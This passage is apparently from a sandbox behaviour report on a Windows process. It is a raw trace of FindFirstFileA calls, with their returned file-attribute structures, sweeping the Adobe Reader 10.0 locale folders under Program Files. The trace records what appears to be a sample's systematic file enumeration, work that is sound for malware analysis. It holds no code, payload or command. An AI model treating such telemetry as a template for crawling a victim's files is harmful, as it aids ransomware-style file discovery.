lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcebca7a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcebca7a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.402] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcebca7a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcebca7a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.405] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcebca7a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcebca7a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.409] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcebca7a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcebca7a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.413] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcebca7a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcebca7a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.418] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcebf0900, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcebf0900, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.423] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcebf0900, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcebf0900, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.428] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcebf0900, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcebf0900, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.431] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcec16a60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcec16a60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.437] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcec16a60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcec16a60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.439] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcec16a60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcec16a60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.442] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcec16a60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcec16a60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.446] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcec3cbc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcec3cbc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.449] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcec3cbc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcec3cbc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.452] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcec3cbc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcec3cbc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.455] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcec3cbc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcec3cbc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.458] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcec3cbc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcec3cbc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.461] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcec62d20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcec62d20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.463] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcec62d20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcec62d20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.467] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcec62d20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcec62d20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.470] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcec62d20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcec62d20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.473] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcec62d20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcec62d20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.476] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcec88e80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcec88e80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.479] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcec88e80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcec88e80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.482] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcec88e80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcec88e80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.484] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcec88e80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcec88e80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.487] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcec88e80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcec88e80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.494] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcecaefe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcecaefe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.497] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcecaefe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcecaefe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.501] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcecaefe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcecaefe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.504] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcecaefe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcecaefe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.508] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcecd5140, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcecd5140, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.512] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcecd5140, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcecd5140, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.515] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcecd5140, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcecd5140, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.519] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcecd5140, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcecd5140, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.528] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcecfb2a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcecfb2a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.532] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcecfb2a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcecfb2a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.536] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcecfb2a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xcecfb2a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.539] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xced21400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xced21400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.542] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xced21400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xced21400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.545] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xced21400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xced21400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0073.548] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xced21400, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xced21400, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf4, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0073.551] FindFirstFileA (in: 